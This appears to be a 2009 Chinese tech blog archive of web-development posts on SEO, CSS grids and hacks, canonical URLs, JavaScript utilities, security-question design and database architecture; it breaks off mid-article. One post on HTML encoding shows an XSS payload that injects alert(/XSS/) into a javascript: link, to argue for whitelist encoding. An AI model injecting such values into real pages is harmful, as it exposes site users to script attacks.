作者:

Google几年前就成为域名注册商,但一直没有向用户提供域名注册服务。所以大部分SEO都认为Google之所以成为域名注册商,是为了更大规模、更方便地获得域名注册信息,帮助提高搜索质量。这一点Google的人也曾经明确承认过。

与域名关系最大的一个SEO问题就是,买了一个域名后,这个域名以前获得的链接是否还有效?这些链接权重是否会保持下来?

Google曾经提到过,很多人因为域名积累的链接而买域名。这种情况下一旦域名转手,原来所获得的链接及其权重将被清零,不再有效。

但是有很多情况,域名买卖和转手不一定是为了链接,比如公司之间的并购之类的,域名转手很正常。不可想象Google收购Youtube,Youtube域名转移到Google名下,却把Youtube上获得的链接全部清零。在实际中,这也并没发生。

那么Google怎样判断域名转手是为了链接,还是因为其他原因?哪些情况下链接和权重会保持呢?Danny Sullivan前些天写了一篇帖子总结了几种情况,并且与Matt Cutts交流这个问题。

Matt Cutts说:

某些域名转手,比如公司并购,以前的链接将被保持。有的时候保持链接和权重就没有意义,比如说过期的或实际上过期的域名。Google及其他所有搜索引擎,都尽量正确处理域名转手时的链接问题。

我们的系统要检测的主要是过期域名买卖,或者只为了链接的域名买卖。

Danny Sullivan根据Matt Cutts的回答及自己的观察列出几种情况:

买过期域名

这种情况基本上可以肯定原域名链接及权重不会保留。在很多论坛看到过站长们在讨论所谓掉下来的域名,不少人热衷于过期域名买卖。其实如果是为了这些过期域名以前的链接或PR等,就没有意义了。

买域名然后转向

有的人找到不错的域名买下来,然后做301转向到自己的主网站,希望这个域名积累的链接能够转到自己的主网站。这种情况下,恐怕原来域名上的链接权重也保留不住。因为做了转向,Google就能判断这个域名转手是想传递链接权重。

就算保持域名所有人信息不变,Google和其他搜索引擎大概也会注意到注册信息的变化。

买域名后继续照常运营网站

如果域名买过来以后,原来的网站依旧原样运营,网站内容没有变化,这种情况通常能够保持域名原来的链接及权重。

因为公司并购引起的域名变动

和上面的情况相似,这种域名转手应该不影响域名原来获得的链接及权重。

问题是Google怎样准确检测到这种公司并购域名转手,和为了链接而转手之间的区别。

我最近的观察也显示,买了链接和权重都比较强的域名,改变其内容想做新关键词排名,也似乎很难,原来域名的权重在域名转手后基本消失了,和做新网站差不多。

域名续费时间的影响

很多SEO都认为域名续费时间对域名权重也有影响,我也一直这么认为。逻辑很简单,续费了10年的域名说明主人很认真,很重视。

关于这个问题,Matt Cutts说:

就我所知没有搜索引擎确认把域名续费时间计入排名算法。如果有公司这样认为,那是很麻烦的事。

域名续费的主要原因应该是,这是你的域名,你打算持有一段时间,而不希望还得操心哪天域名过期了。

Matt Cutts回答问题都是小心谨慎很圆滑的。到底续费年限有没有用?每个人就会生出不同的解读了。

2009年4月16日星期四

Sql Server中百万数据随机提取的问题

很多人都知道类似下面的语句
  select top 2000 * from test order by newid()
但是在海量数据下,它的性能是无法忍受的。这里我用一个变通的办法来实现性能的提升,思路为:表必须存在一个guid类型的主键或者索引列,然后用这个列去like一个随机字符串,随机字符串必须为guid规定的字符集合(数字+A到Z)。下面例子只用到了数字,并且只用了4个数字来匹配,你可以更改like后面的语句来调整这个策略。


select top 2000 * from test where
id like '%' +
char(48+abs(checksum(newid())%10))+'%'+
char(48+abs(checksum(newid())%10))+'%' +
char(48+abs(checksum(newid())%10))+'%' +
char(48+abs(checksum(newid())%10))

2009年4月13日星期一

大量小文件的实时同步方案

传统的文件同步方案有rsync(单向) 和 unison(双向)等,它们需要扫描所有文件后进行比对,差量传输。如果文件数量达到了百万甚至千万量级,扫描所有文件将非常耗时。而且正在发生变化的往往是其中很少的一部分,这是非常低效的方式。

之前看了Amazon的Dynamo的设计文档, 它们每个节点的数据是通过Hash Tree来实现同步,既有通过日志来同步的软实时特点(msyql, bdb等),也可以保证最终数据的一致性(rsync, unison等)。Hash Tree的大体思路是将所有数据存储成树状结构,每个节点的Hash是其所有子节点的Hash的Hash,叶子节点的Hash是其内容的Hash。这样一 旦某个节点发生变化,其Hash的变化会迅速传播到根节点。需要同步的系统只需要不断查询跟节点的hash,一旦有变化,顺着树状结构就能够在logN级 别的时间找到发生变化的内容,马上同步。

文件系统天然的是树状结构,尽管不是平衡的数。如果文件的修改时间是可靠的,可以表征文件的变化,那就可以用它作为文件的Hash值。另一方面,文 件的修改通常是按顺序执行的,后修改的文件比早修改的文件具有更大的修改时间,这样就可以把一个目录内的最大修改时间作为它的修改时间,以实现Hash Tree。这样,一旦某个文件被修改,修改时间的信息就会迅速传播到根目录。

一般的文件系统都不是这样做的,目录的修改时间表示的是目录结构最后发生变化的时间,不包括子目录,否则会不堪重负。

2009年3月13日星期五

Internet Explorer CSS hacks

测试环境:IE6 , IE7, IE8, FF3.0
表达方式:

body { `background:red }
body { ~background:red }
body { !background:red }
body { @background:red }
body { #background:red }
body { $background:red }
body { %background:red }
body { ^background:red }
body { &background:red }
body { *background:red }
body { (background:red }
body { )background:red }
body { =background:red }
body { +background:red }
body { [background:red }
body { ]background:red }
body { {background:red }
body { |background:red }
body { ,background:red }
body { <background:red }
body { .background:red }
body { >background:red }
body { /background:red }
body { ?background:red }

结论:IE识别所有CSS Hack

比如我们要实现在 IE 中 480px 的宽度,而在其他浏览器 500px 的宽度,就可以通过 Hack 来完成,如下:
#hack {
width
:500px;
+width:480px; /*only IE*/
}

2009年3月4日星期三

HTML编码

写WEB应用经常会用到各种各样的编码,其中Html编码又和防范XSS关系很大,如果正确的使用了编码,就会让脚本跑不起来了。
public static String HTMLEntityEncode( String s )
{
StringBuffer buf = new StringBuffer();
int len = (s == null ? -1 : s.length());

for ( int i = 0; i < len; i++ )
{
char c = s.charAt( i );
if (c>='a' && c<='z' || c>='A' && c<='Z' || c>='0' && c<='9' ||
c == ' ' || c == '.' || c == ',')
{
buf.append( c );
}
else
{
buf.append( "&#" + (int)c + ";" );
}
}
return buf.toString();
}

仅仅允许字母、数字、空格、英文逗号、点。

其他的所有全部encoding。

为什么需要这么严格?下面看一个实例

<a href="javascript:test(<%=var%>)" >test</a>

其中var 是输出的变量且用户可以控制,那么仅仅编码常见的单引号、双引号、尖括号等是没用的,攻击者可以如下构造一个XSS:

<a href="javascript:test();alert(/XSS/);()" >test</a>

所以为了抵御未知攻击,我们应该尽量使用白名单的方式。

2009年2月26日星期四

网页栅格系统研究(4):技术实现

前三篇文章中,明确了栅格系统的设计细节和适用范围。这一篇将集中讨论960栅格系统的技术实现。

Blueprint的实现

Blueprint是一个完整的CSS框架,栅格系统是它的一部分功能。我们来看demo页面


以上三栏布局的代码为:
<style type="text/css">
.container { margin: 0 auto; width: 950px }
.span-8 { float: left; margin-right: 10px }
div.last { margin-right: 0 }
hr { clear: both; height: 0; border: none }
</style>
<div class="container">
<div class="span-8"></div>
<div class="span-8"></div>
<div class="span-8 last"></div>
<hr />
</div>

上面是基本功能,Blueprint还支持append-n, prepend-m, border等“高级”功能,这些就不细说了。Blueprint的特点简单总结如下

  1. 采用浮动来实现布局,简单明了
  2. 950两侧没有margin, 最后一列的class需要加上last
  3. 采用额外标签来清除浮动

960.gs的实现

谈到960栅格系统,不得不提960.gs. Nathan Smith在这篇文章中,详细阐述了他的想法和设计思路。这里有个demo页面,核心代码很简单:

<style type="text/css">
.container_12 { margin: 0 auto; width: 960px }
.grid_4 { float: left; margin: 0 10px }
</style>
<div class="container_12">
<div class="grid_4"></div>
<div class="grid_4"></div>
<div class="grid_4"></div>
<div class="clear"></div>
</div>

上面就构建了三栏布局:
有意思的几点:
  1. margin是均匀放在950两侧的
  2. 所有grid除了宽度不同,左右边距都一致margin: 0 10px;
  3. 代码简单清晰,起始和结束列不需要添加额外class

很明显,Blueprint和960.gs都是采用浮动来实现布局的,主容器需要添加额外标签来清除浮动(可以参考这里)。当然,这也不是什么大问题,请看这篇文章的总结,不添加额外标签也可以清除浮动。

YUI的实现

接着来看大名鼎鼎的YUI Grids CSS. YUI的CSS框架由三个文件组成:

reset.css - 样式重置
fonts.css - 版式字体控制
grids.css - 栅格系统

我们从demo开始:

注意,demo链接中的宽度是750的,但我们只要将<div id="doc"></div>中的id改为doc2, 页面宽度就自动变为950宽了(YUI非常强大^o^)。来看下dom结构:

采用的也是浮动布局,简化后的CSS代码为:
<style type="text/css">
.doc2 { margin: auto; width: 73.076em }
.yui-u { float: left; margin-left: 1.99%; width: 32% }
div.first { margin-left: 0 }
#ft { clear: both }
</style>

YUI的特点是:

  1. 依旧是采用浮动布局,槽(Gutter)宽通过margin-left来控制(Blueprint采用右边距,960.gs采用均分,这三个框架对槽的处理实在有意思)
  2. 总宽度采用em, 这样可以用在弹性布局上
  3. 栏的布局用的是百分比,采用了流体布局
YUI的好处是能用来做自适应布局,在这前面两个框架里是没有的。但普通的定宽布局,YUI则显得有点麻烦,比如我们要实现四栏布局,dom得这样写:
先来两个两栏布局,再细分为四栏布局,清晰度上欠佳。

更多栅格实现

栅格化更多是一种布局思想,实现技术可以千差万别。比如今年冒出来的伪绝对定位,立刻就可以用来实现栅格系统。明城兄弟就尝试了一把

肯定还有非常多的栅格化实现方案,这里就不一一挖掘了。

双飞翼栅格系统

挺奇怪这个名字?请先阅读这篇文章:渐进增强式布局探讨. 简单说,双飞翼布局是一种布局实现技术,可以利用它来实现一整套栅格系统。

先看test页面:Grids Layout Test.

具体技术细节在渐进增强式布局探讨一文中已经阐述,这里不再重复。有几点需要说明:

  1. 这套栅格系统并不能实现所有布局。这和YUI Grids类似,只能实现预定的一些布局。比如三栏布局,目前只加入了5 : 13 : 6, 5 : 12 : 7, 9 : 9 : 6, 8 : 8 : 8四种情况,这是从淘宝的现有页面中分析总结出来的。对于同一个站点来说,太多不同的三栏比例不是好事(淘宝目前都有点多,以后可能还会进一步统一)。因 此如果采用这套栅格系统的话,需要先分析站点,定义出一套合适的比例。这里有个所有比例的自动生成工具:grids_css_generator.html.
  2. 关于命名:.grid-c2-s6表示两栏(c2: column 2)布局,sub栏的宽度是4列(s4: sub width is 4 * 40 -10). 而.grid-c2-s6f, 最后的f表示两栏布局的第二种情况,即submain互换。类似地,.grid-c3-s5e6d表示三栏布局,其中sub栏的宽度是5, extra栏的宽度是6, 最后的d表示是s5e6三栏布局中的第四种情况。
  3. 为了方便使用,将最常用的两栏布局.grid-c2-s5.grid-c2直接表示。同样的,.grid-c3表示.grid-c3-s5e6. 这是淘宝的默认值,其他站点可以根据实际情况修改。
  4. 这套布局符合渐进增强式工作流程。细心的你可能已经发现,所有两栏布局和三栏布局,HTML中的DOM结构是完全一样的,只有最外层divclass不同。如果要交换左右栏,只要非常简单的修改下class就可以。
  5. 实际使用时,两栏布局和三栏布局已经够用。其实有了两栏,其它布局就都可以组合出来。这里有一个尝试性页面:grids_test4_v0.1.html. 组合布局看起来很强大,但实际使用时会把问题搞复杂,不推荐使用,干脆忘掉吧。

最后来看下两个测试页面:两栏布局grid-c2_test.html三栏布局grid-c3_test.html.

目前除了发现在ie6下有个bug(超大图片等会撑乱布局,其实可以用overflow: hidden来解决,但考虑overflow负面影响,最后还是由布局内部的模块来自主控制的好),尚未发现其他问题。

小结

栅格系统更多的是一种布局思想,在实际使用时,根据具体需求选用合适的技术来实现即可。需要注意的是,对于栅格的技术实现来说,太灵活未必是件好事,适度灵活最难得。怎么才能适度呢?这需要疯狂实践 + 不断的反思 + 持续的重构 + 悟…

栅格搭好了页面框架,接下来很重要的一件事情就是往里面添加内容模块。让内容模块规范化,让页面生成工业化,对大型站点来说,这是栅格系统最有商业价值的地方。下一篇也是本系列最后一篇将展示栅格系统中的模块化应用。


指定您的URL范式

发表者: Joachim Kupke, 资深软件工程师; Maile Ohye, 开发者项目技术带头人
原文: Specify your canonical
发表于: 2009年2月12日星期四,12:30 PM

您可能会对URL形式不同造成的重复内容有所担心,谷歌现在推出一种新的功能,使您可以指定您喜欢的URL格式。如果您的网站通过多种不同形式的URL向访问者提供完全相同或非常类似的内容,那么通过这种功能您可以自主控制出现在搜索结果中的您网站的URL格式。同时这也有助于将那些影响您网页声望值的因素更固定地指向您所青睐的URL格式上。

让我们以一个出售瑞典鱼的网页为例,假设我们所青睐的URL格式和所对应的内容是下面这样的:

http://www.example.com/product.php?item=swedish-fish
然而,访问者和谷歌机器人实际上可以通过另外的URL形式访问到这一内容。尽管URL的核心部分与您青睐的URL格式很相近,但是他们依据排序的参数或分类浏览种类的不同而向用户提供略有差别的网页。

http://www.example.com/product.php?item=swedish-fish&category=gummy-candy
或者,也有可能他们有着完全相同的内容,但是URL看起来并不相同,比如下面的URL还带有跟踪参数或者会话ID:

http://www.example.com/product.php?item=swedish-fish&trackingid=1234&sessionid=5678
现在,您可以将如下语句<link rel="canonical" href="http://www.example.com/product.php?item=swedish-fish">
加入到其他您不倾向于在搜索引擎出现的URL的代码部分,就能指定您喜欢的URL格式。

比如您不希望以下两种格式在搜索结果中出现:

http://www.example.com/product.php?item=swedish-fish&category=gummy-candy
http://www.example.com/product.php?item=swedish-fish&trackingid=1234&sessionid=5678

只要您将上文中的
语句加入到上述两个网页的代码部分,那么谷歌就会知道以上两个网址实际上是被建议指向您指定的标准URL: http://www.example.com/product.php?item=swedish-fish上。 其他的URL属性,比如PageRank和相关的其他因素,也都会自动指向该标准URL。

这个标准同时也被其他搜索引擎在抓取和索引您网站时所接受和使用。

以下我们将以FAQ的形式,解答一些您可能存在的疑问:

从强制性与否来说,请问rel="canonical"是一个建议,还是一个指令?
是一个建议。这是一个我们非常自豪的功能,您可以以此提示搜索引擎考虑您对URL格式的喜好。

我能用相对路径来指定我的URL规范么,比如 <link rel="canonical" href="product.php?item=swedish-fish">?
可以,在这里使用相对路径是可以被正确识别的,如果您在代码中指定了link,那么相对路径都会以此base URL为基础。

我可以将URL范式使用在不是完全相同内容的其他网页上吗?
我们允许这些网页之间有些细微差别,比如归在不同类目下的同一产品网页。

如果被指定为规范格式的URL返回404,怎么办呢?
我们会继续访问和抓取您的内容,并应用一些联想功能去寻找一个URL范式,但是我们强烈建议您将一个可访问的URL设置成URL范式。

如果我指定的URL范式并没有被索引会怎样?
就像网络上所有的公共内容一样,我们会努力发现和寻找您指定的URL范式,一旦我们索引到它,我们就会立即将您的rel="canonical"付诸考虑。

我的URL范式可以是一个重定向URL么?
可以,您可以指定一个发生重定向的URL作为URL范式,谷歌会继续跟踪这个重定向并尝试去抓取它。

如果我不小心指定了互相矛盾的URL范式怎么办?
不用担心,我们的算法是很聪明并宽容的,我们会跟踪抓取这个URL范式链,但是我们还是强烈建议您尽快将URL范式指定为特定单一URL形式,从而确保您的搜索结果早日得到优化。

这个link tag可以被用来建议一个在其他域名上的URL么?
不可以。如果您需要转移到一个不同的域名上,那么301永久重定向对您来说更合适。谷歌现在只能认可在不同子域名下的URL范式的指定。所以,站长们可以将www.example.comexample.com, 及help.example.com互相指定为范式,但是不能将example.comexample-widgets.com互相指定为范式。

听起来不错,能给我举一个现实中的例子么?
我们有一个真实的例子wikia.com。比如,您在http://starwars.wikia.com/wiki/Nelvana_Limited 的源代码中可以发现,该网页已经把http://starwars.wikia.com/wiki/Nelvana指定为了URL范式。通过使用rel="canonical",两个网页的PageRank被整合计算,避免了分散计算的流失,同时搜索结果中也只会包含网站管理员所指定的URL形式。

如果您未能应用URL范式指定您心仪的URL形式,您也不要担心,我们会尽我们最大努力,选择一个更优化的URL形式,并将声望等属性值进行相应转移处理,就像我们以前做的那样(英文)。

补充:这个link tag现在也被Ask.com,微软Live Search和Yahoo!搜索等搜索引擎所支持。

Parsing URLs with the DOM

This short function returns an object containing all possible information you would want to retrieve from a URL:

parseURL

// This function creates a new anchor element and uses location
// properties (inherent) to get the desired URL data. Some String
// operations are used (to normalize results across browsers).

function parseURL(url) {
var a = document.createElement('a');
a.href = url;
return {
source: url,
protocol: a.protocol.replace(':',''),
host: a.hostname,
port: a.port,
query: a.search,
params: (function(){
var ret = {},
seg = a.search.replace(/^\?/,'').split('&'),
len = seg.length, i = 0, s;
for (;i<len;i++) {
if (!seg[i]) { continue; }
s = seg[i].split('=');
ret[s[0]] = s[1];
}
return ret;
})(),
file: (a.pathname.match(/\/([^\/?#]+)$/i) || [,''])[1],
hash: a.hash.replace('#',''),
path: a.pathname.replace(/^([^\/])/,'/$1'),
relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [,''])[1],
segments: a.pathname.replace(/^\//,'').split('/')
};
}

Usage

var myURL = parseURL('http://abc.com:8080/dir/index.html?id=255&m=hello#top');

myURL.file; // = 'index.html'
myURL.hash; // = 'top'
myURL.host; // = 'abc.com'
myURL.query; // = '?id=255&m=hello'
myURL.params; // = Object = { id: 255, m: hello }
myURL.path; // = '/dir/index.html'
myURL.segments; // = Array = ['dir', 'index.html']
myURL.port; // = '8080'
myURL.protocol; // = 'http'
myURL.source; // = 'http://abc.com:8080/dir/index.html?id=255&m=hello#top'

2009年2月22日星期日

怎样设置密码保护问题

密码保护是注册过程中的关键环节,尤其是对帐户安全级别比较高的网站,尤其在账号被盗或者涉及安全登录等问题的情况下,密码保护问题作为用户身份识 别信息,来通过帐号异常登录(如密码被盗,被封帐户被封等)等权限认证。最近做项目才发现这里有很多细节问题,严重影响了用户的体验,总结了以下几点关键 因素,跟大家探讨。

一、安全性

设置密码保护问题的最关键的因素就是安全性,因此需要只有注册的用户本人才能提供正确的答案,不易被别人猜中或被机器破解。设计时可以参照如下因素:

  1. 答案不要问用户经常用到的信息,这样防止别人通过打听或调查而轻易获得。(比如:你的小名,生日,身份证号,电话号码,地址,宠物的名字等等)
  2. 问题最好和用户的隐私相关并且记忆深刻。

我们看看以下例子的比较,可以看出问题1和2要优于问题3和4:

  • 你小时候梦想的职业是?
  • 你的第一个男朋友(女朋友)的生日?
  • 你妈妈的名字?
  • 你手机号码的后四位数?

二、确定性

  1. 提示问题要唯一,不要同时给出多个问题。

以QQ的注册页面为例,有个问题是“你的学号(或工号)是?”就很迷惑,对于那些只有学号或工号的用户还好,对于两个答案都拥有的用户就很迷惑,很 可能他们在注册是随便输入一个,在找回的时候可要回想当初究竟填了那一种号码?我猜想当时的设计师会认为拥有学号的是学生,拥有工号的是上班族,这两个条 件是互斥的,所以只能二选一。其实情况并不这么简单,就以我来举例,注册的qq时 候我是学生,现在已经上班了。找回密码的时候可能早就忘了当时的学号了;或者有的人是在职的学生,同时拥有学号和工号;再或者他转了好几次学,换了n个工 作,可能就存在不止一个学号或工号。。。总之,这两个问题在很多情况下不是互斥的,甚至是重叠的。

图1 qq的注册页面
2.提示问题不要含混不清。
以“我最好朋友的生日”来说。“最好的朋友”有很多限定条件,一个人也许不止有一个最好的朋友,也许前两年的朋友过了几年就成了关系很淡的朋友。这还不算,还要在此基础上价加上“生日” 这个条件涉及到很多格式(下面会提到这个问题),无疑是给用户雪上加霜。
三、不变性
不要让问题的答案是可变的,不然会导致多种可能的答案:
  • 不要让用户自己去定义格式
比如上面提到的“生日”的格式就有很多种:1982/09/08;1982年9月8号(日);1982-09-08等等。我的建议是,如果一定要存在该问题,在答案填写的表单应该对应出现系统定义好的格式,而不单单是一个输入框。
  • 问题包含的内容要长时间保持不变
比如“你的手机号码的后6位”等问题,有的人会经常更换手机号码,对那些不经常更换手机号的人来说,手机被盗啊,换了居住地点等外在条件也会有变号的影响。所以不建议作为选项;“你的身份证的后6位”就会比前者要好很多。
  • 答案不要有缩写或简写的可能
比如“你大学毕业的学校”此类问题,答案会五花八门,以“西北工业大学”为例,就会有“西工大”“西北工大”“NWPU”等叫法,将问题改成”你毕业的大学的全称?“就好很多。
四、便于记忆
一个好的提示答案需要很容易被用户记住,理想情况下,用户在看到密码提示后能立马想到答案,而不需要去查身边的一些资料或努力回想。比如“我的驾驶执照号码是?”(反正我是不知道,你们呢?)
另外,不要问到童年时的信息,毕竟离现在这么长时间了。比如:“你最喜欢的小学老师的名字是?”等。

五、其它的细节

  1. 其实有的密码提示问题并不适用于所有人(如”我的汽车牌号?“),况且还有不少缺陷,因此我建议设计师应该多提供一些问题让用户选择,比如图1提供2-3个表单,每个包含15个问题,选择了第一个问题后,后两个表单可以自动清除已选择的选项。
  2. 不要让用户自定义保护问题。虽然这个功能看上去很人性化,但是用户是很怕麻烦的,如果有合适的问题,干嘛还要自己输入呢?( Don’t make me think).况且看看上面的例子就知道设置好的问题是很不容易的,这样的事情还是留给设计师去做吧。
  3. 问题避免提到颜色,因为每个人对颜色的感知都不同,尤其是色盲用户。
    最后我想说的是,密码保护主要是帮助用户方便找回自己的ID,如果这个过程太过繁琐反而会影响操作,在什么时候使用,以及怎样掌控找回的流程,是需要前期评估的,只有在确定使用的时候再去考虑如何设计,千万不要过于纠结问题的细节。

2009年2月21日星期六

如何判断脚本加载完成

在“按需加载”的需求中,我们经常会判断当脚本加载完成时,返回一个回调函数,那如何去判断脚本的加载完成呢?

我们可以对加载的 JS 对象使用 onload 来判断(js.onload),此方法 Firefox2、Firefox3、Safari3.1+、Opera9.6+ 浏览器都能很好的支持,但 IE6、IE7 却不支持。曲线救国 —— IE6、IE7 我们可以使用 js.onreadystatechange 来跟踪每个状态变化的情况(一般为 loading 、loaded、interactive、complete),当返回状态为 loaded 或 complete 时,则表示加载完成,返回回调函数。

对于 readyState 状态需要一个补充说明:

  1. 在 interactive 状态下,用户可以参与互动。
  2. Opera 其实也支持 js.onreadystatechange,但他的状态和 IE 的有很大差别。

具体实现代码如下:

function include_js(file) {
var _doc = document.getElementsByTagName('head')[0];
var js = document.createElement('script');
js
.setAttribute('type', 'text/javascript');
js
.setAttribute('src', file);
_doc
.appendChild(js);

if (!/*@cc_on!@*/0) { //if not IE
//Firefox2、Firefox3、Safari3.1+、Opera9.6+ support js.onload
js
.onload = function () {
alert
('Firefox2、Firefox3、Safari3.1+、Opera9.6+ support js.onload');
}
} else {
//IE6、IE7 support js.onreadystatechange
js
.onreadystatechange = function () {
if (js.readyState == 'loaded' || js.readyState == 'complete') {
alert
('IE6、IE7 support js.onreadystatechange');
}
}
}

return false;
}

//execution function
include_js
('http://www.planabc.net/wp-includes/js/jquery/jquery.js');

2009年2月19日星期四

请勿使用保留字来命名网页元素

转载自 Opera中国

最近,我处理了一个网友报上来的问题,问题提到“Opera 不支持通过 JavaScript 来提交表单”。这个 Bug 很诡意,在接下来的时间里,我动手编写了一段简单的 HTML,代码如下:

<form id="form1" action="" method="get">
<input name="parameter1" type="text">
</form>

<input onclick="document.getElementById('form1').submit()"
value="My Submit" type="button">

很显然,点击 My Submit 按钮是可以提交的。但是,通过参考了网上某个论坛系统的 HTML 代码,我发现了一个问题。如下的代码,只是在原有基础上添加了一个表单的提交按钮。

<form id="form1" action="" method="get">
<input type="text" name="parameter1"/>
<input type="submit" name="submit"/>
</form>

<input onclick="document.getElementById('form1').submit()"
value="My Submit" type="button">

但是,所添加的这行 HTML 代码,将造成已有 My Submit 按钮功能的失效。细心的朋友,也许已经发现了,这个新添加的提交按钮,其 name 也为 submit,这就是造成问题的原因所在。

对于表单中的某个元素,我们可以通过 DOM 方式逐级引用。假设,我想引用上面的 submit 提交按钮,我应该书写成:

document.getElementById('form1').submit
那假如,我想通过 JavaScript 使用 form1 完成提交表单的动作呢,我应该书写成:
document.getElementById('form1').submit()

这就怪了,提交表单的代码竟然与引用 submit 按钮的代码如此相似,以至于浏览器认为 submit 为 form1 的某个元素,而不是可以完成提交动作的方法。其实,是网站代码的编写者不小心造成了这种未期待的后果,且这一现象在其他浏览器中同样存在。

建议

由此,我们可以看到简单地对表单元素使用保留字命名,是多么不严谨的一件事情。Web 标准化不光是简单地使用 CSS 和 HTML,更多的非标准化问题是由于不正确使用几种简单技术产生的。因此,为了让技术更容易地为我们所有,就让我们更严谨地对待技术吧。


How to Use the Sticky Footer Code

The HTML Code

Below is the basic structure of the HTML code. You'll notice how the footer <div> sits outside of the wrap <div>.

<div id="wrap">
<div id="main" class="clearfix">
</div>
</div>

<div id="footer">
</div>
You would place your content elements inside the main <div>. For example, if you were using a 2 column floating layout you might have this;

<div id="wrap">
<div id="main" class="clearfix">
<div id="content">
</div>
<div id="side">
</div>
</div>
</div>

<div id="footer">
</div>
A header could be placed inside the wrap but above the main like this;

<div id="wrap">
<div id="header">
</div>
<div id="main" class="clearfix">
</div>
</div>

<div id="footer">
</div>

If you wanted to place any elements outside of either the wrap or the footer then you would need to use absolute positioning else it messes up the 100% height calculations.

The CSS Code

Below is the CSS code makes your sticky footers to stick to the bottom.
html, body, #wrap {height: 100%;}

body > #wrap {height: auto; min-height: 100%;}

#main {padding-bottom: 150px;} /* must be same height as the footer */

#footer {position: relative;
margin-top: -150px; /* negative value of footer height */
height: 150px;
clear:both;}
You'll notice that the footer height is used three times here. This is important and should be the same value for all three instances. The height properties are stretching the wrap <div> to the full height of the window. The negative margin of the footer brings it up into the padding created for the main <div>. Since the main rests inside the wrap the padding height is already part of the 100%. Thus the footer rests at the bottom of the page.

But we are not done just yet. We need to add the clearfix properties to the main <div>.

Clearfix Hack to the Rescue

Many CSS designers will be familiar with the Clearfix Hack. It solves a lot of problems with floating elements. We use it here to get the footer to stick in Google Chrome. It also solves issues that come up when using a 2-column layout where you float your content to one side and your sidebar to the other. The floating content elements inside the main <div> can cause the footer to become un-stuck in some browsers.

So we add this to our stylesheet as well;
.clearfix:after {content: ".";
display: block;
height: 0;
clear: both;
visibility: hidden;}
.clearfix {display: inline-block;}
/* Hides from IE-mac \*/
* html .clearfix { height: 1%;}
.clearfix {display: block;}
/* End hide from IE-mac */

If you prefer to use the Ryan Fait method with the extra push <div> you'll still need to apply a clearfix if you are using a floating multi-column layout.

Known Issues

Heights and Margins
Using top and bottom margins inside some elements may push your footer down by that margin height, perhaps in a header or the wrap or main <div>'s themselves. Instead use padding to create spacing inside the element. You'll notice this is happening if your page has little content so that the footer should be on the bottom but you see that your window scroll bar on the side indicates that it is sitting a bit below the window bottom. Go find the offending top or bottom margin and switch it to padding.

Be carefull with declaring padding on the main <div> in another part of your style sheet. If you were to add something like this; padding:0 10px 0 10px; you would end up overwriting the important bottom padding that is supposed to be the same as your footer height. This would cause your footer to start overlaping your content on your longer pages (in Google Chrome).
Font Sizes
When setting font sizes in your style sheet, if you use relative sizing be aware that some viewers may have their monitor settings create bigger font sizes. In some elements, like in the footer itself, it could break the height settings and create a gap below the footer if there is not enough room left for the text to expand lower. So try using absolute sizing by using px instead of pt or em.

2009年2月16日星期一

大型网站架构系列之四,多对多关系以及并发缓存的设计

多对多关系以及多表查询优化处理

上篇以用户数据表为例介绍了基本的数据分割方案以及基本的配置方案。但是在2.0时代,这种简单的列表索引已经远远实现起来是问题的,多对多关系将是最常见的关系。现在我们针对web2.0数据中广泛存在的多对多关系进行阐述和具体行为判断,比如一个很简单的例子,在2.0时代,好友功能是最常被用到的,每个用户会有很多的好友,同时也会是很多人的好友,那么这个数据量将会是用户数的平方的级别。同样,对于文章标签,每个文章可以有多个标签,而每个标签又可以有多个文章,这又是一个几何乘积,数据量又会是个天文数字。这里不再介绍基于硬件,IO,集群方面的问题,我们以项目开发的角度来实现他

这里先介绍一个基本的施行方案,而后我们进一步的对它进行扩充以满足我们的以后的具体需求

对于多对多关系,传统的处理方案有三种,一种是通过SEARCH的方法来实现,第二一种是通过另建一个索引表,存贮对应的ID以进行存贮,第三种是通过二次归档缓冲来实现(本人不知道用什么语言来描述这种处理方法,姑且如此吧)

对于第一种方案,因为要涉及大量的LIKE查询,性能不敢恭维,基于全文索引的方式可能解决这个问题,但是利用第三方的数据可能未必能适合我们的胃口,我们也可能没有足够的时间和精力来独立开发实现。第二种的情况下,数据库的行的数量也是惊人海量级别的,维护索引表的散列处理,并且要跨表跨区查询,还要维护数据的唯一性,数据处理过程相 当的复杂性能也就不言而喻了。

文入正题,下面以一个简单的例子解释下第三种方案,对数据多对多关系举出来具体的解决方案,我们这里以标签和文章之间的多对多关系为例来讲解,大家可以举一反三的思考群组和用户之间,相册和被圈用户之间等等复杂的多对多关系,如下方案可能不是最好的方案,但是实践证明还是综合时间和开发成本是最合理的。

首先滤清一下流程,在传统的数据库设计中我们是如下走的:当一篇博文发布的时候并插入标签的时候一般是三步走(也可以理解为四步,以为还要判断标签是否存在的问题),第一步插入文章数据库并获取文章的ID,第二步插入标签数据库同时查询标签是否存在,如果存在就取出标签的ID,否则的话插入新标签并取出ID,第三部,将文章的ID和标签的ID插入索引表来建立关联。如果这个时候在索引表上建立了索引的话就是灾难性的,特别是在数据量大的情况下,尽管它可以有效的提高查询速度,但是发布的速度可能就会让人无法忍受了。

我们处理的方法也是四部曲,对多对多关系进行进一步的处理。
用标签的时候,我们用的最多的就是查询标签下的文章和显示文章的标签,所以我们实现这例就成了。
第一步,数据冗余
老生常谈的话题,对文章做冗余,加一个TAG列,我们可以讲TAG的标签如下写[TagID,TagName]| [TagID,TagName]| [TagID,TagName] 同样对于TAG表,我们做如下冗余加个Article字段,如下内容[ArticleID,Title]| [ArticleID, Title]| [ArticleID, Title],在需要增加的时候我们只要APPEND一下就可以了,至于ARTICLE的结构和TAG的结构可以参考我上一篇文章的介绍。其实根据需要还可以存贮更多。
有人会问,为什么要存贮TagName和 ArticleTitle呢,其实是为了避免跨表查询和INNERJOIN查询来做的,In查询和跨表查询会造成全表遍历,所以我们在执行的时候In查询是必须要找到一个有效的替代方法的。关于数据冗余的问题,我们可能还会做的更变态一些,这个后面慢慢说。

第二步:异步存贮。
在设计模式下我们常思考的是单件模式,我们采用另类的单件模式思维来处理,也就是把文章和标签之间的索引作为专门的进程来做,异步的实现。
为了避免文章在发布的时候以为要检查TAG表而造成的线程拥堵,我们需要采取延迟加载的方案来做。服务器应该维护一个进程专业的对标签和文章地段的查询和索引,我们在发布文章的时候应该把标签同步这一块托管给另外的一个进程或者服务器进行处理,并进行索引。

第三步:二次索引:
